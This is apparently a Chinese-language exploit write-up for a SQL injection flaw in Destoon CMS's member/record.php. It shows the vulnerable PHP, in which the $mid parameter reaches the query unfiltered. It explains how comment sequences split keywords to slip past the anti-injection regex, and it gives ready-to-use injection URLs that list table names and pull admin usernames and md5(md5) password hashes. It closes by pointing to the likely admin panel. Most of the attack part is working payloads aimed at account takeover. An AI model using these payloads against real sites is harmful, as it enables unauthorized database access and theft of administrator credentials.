function strip_sql($string) {

    return is_array($string) ? array_map('strip_sql', $string) : preg_replace($search, $replace, $string); 
  
}

 

 

在member/record.php 中

 

 

<?php 
require 'config.inc.php'; 
require '../common.inc.php'; 
require DT_ROOT.'/module/'.$module.'/record.inc.php'; 
?>

 

 

调用了record.inc.php 

 

 

switch($action) { 
    case 'pay': 
        $MODULE[-9]['name'] = $L['resume_name']; 
        $MODULE[-9]['islink'] = 0; 
        $MODULE[-9]['linkurl'] = $MODULE[9]['linkurl']; 
        isset($fromtime) or $fromtime = ''; 
        isset($totime) or $totime = ''; 
        isset($dfromtime) or $dfromtime = ''; 
        isset($dtotime) or $dtotime = ''; 
        isset($mid) or $mid = 0; 
        isset($currency) or $currency = ''; 
        $module_select = module_select('mid', $L['module_name'], $mid); 
        if($keyword) $condition .= " AND title LIKE '%$keyword%'"; 
        if($fromtime) $condition .= " AND paytime>".(strtotime($fromtime.' 00:00:00')); 
        if($totime) $condition .= " AND paytime<".(strtotime($totime.' 23:59:59')); 
        if($mid) $condition .= " AND moduleid=$mid"; 
        if($itemid) $condition .= " AND itemid=$itemid"; 
  
....//

 

其中$mid 是没经过过滤的，导致我们可以注入

但是前面有防注入处理？

看我们怎么绕过注入中的正则

xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,password,username,5,6,7,8,9 from destoon_member where admin=1-- a

看看这样是不是可以了？

这样就达到可以绕过正则了。。。

当前。前缀肯定是有变化的了,我看使用

 

xxx.com/member/record.php?action=pay&mid=-1+union//***/select//***/1,2,GROUP_CONCAT(DISTINCT+table_name),4,5,6,7,8,9+from+information_schema.columns+where+table_schema=database()--%20a 

 

来获取前缀。再使用

 

xxx.com/member//record.php?action=pay&mid=-1+union//***/select//***/1,2,concat(username,0x3A,password),4,5,6,7,8,9%20from%20destoon_member%20where%20admin=1--%20a 

 

来获得帐号和密码，密文为md5(md5(psw))类型，后台貌似为admin.php
